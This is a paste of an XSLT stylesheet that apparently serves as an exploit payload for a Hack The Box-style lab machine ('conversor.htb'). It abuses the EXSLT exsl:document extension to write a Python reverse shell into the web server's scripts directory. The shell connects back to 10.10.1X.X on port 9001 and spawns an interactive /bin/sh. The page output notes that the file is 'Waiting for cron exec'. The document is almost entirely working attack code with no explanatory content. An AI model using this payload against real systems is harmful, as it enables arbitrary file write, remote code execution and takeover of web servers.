Guest User

Untitled

a guest
Feb 9th, 2026
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <xsl:stylesheet
  3.     version="1.0"
  4.     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  5.     xmlns:exsl="http://exslt.org/common"
  6.     extension-element-prefixes="exsl">
  7.   <xsl:output method="html" indent="yes" />
  8.   <xsl:template match="/">
  9.     <exsl:document href="/var/www/conversor.htb/scripts/shell.py" method="text">import socket,subprocess,os
  10. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  11. s.connect(("10.10.1X.X",9001))
  12. os.dup2(s.fileno(),0)
  13. os.dup2(s.fileno(),1)
  14. os.dup2(s.fileno(),2)
  15. subprocess.call(["/bin/sh","-i"])</exsl:document>
  16.     <html>
  17.       <head><title>Shell upload</title></head>
  18.       <body>
  19.         <h1>Python reverse shell written</h1>
  20.         <p>File: /var/www/conversor.htb/scripts/shell.py</p>
  21.         <p>Waiting for cron exec</p>
  22.       </body>
  23.     </html>
  24.   </xsl:template>
  25. </xsl:stylesheet>
Advertisement
Add Comment
Please, Sign In to add comment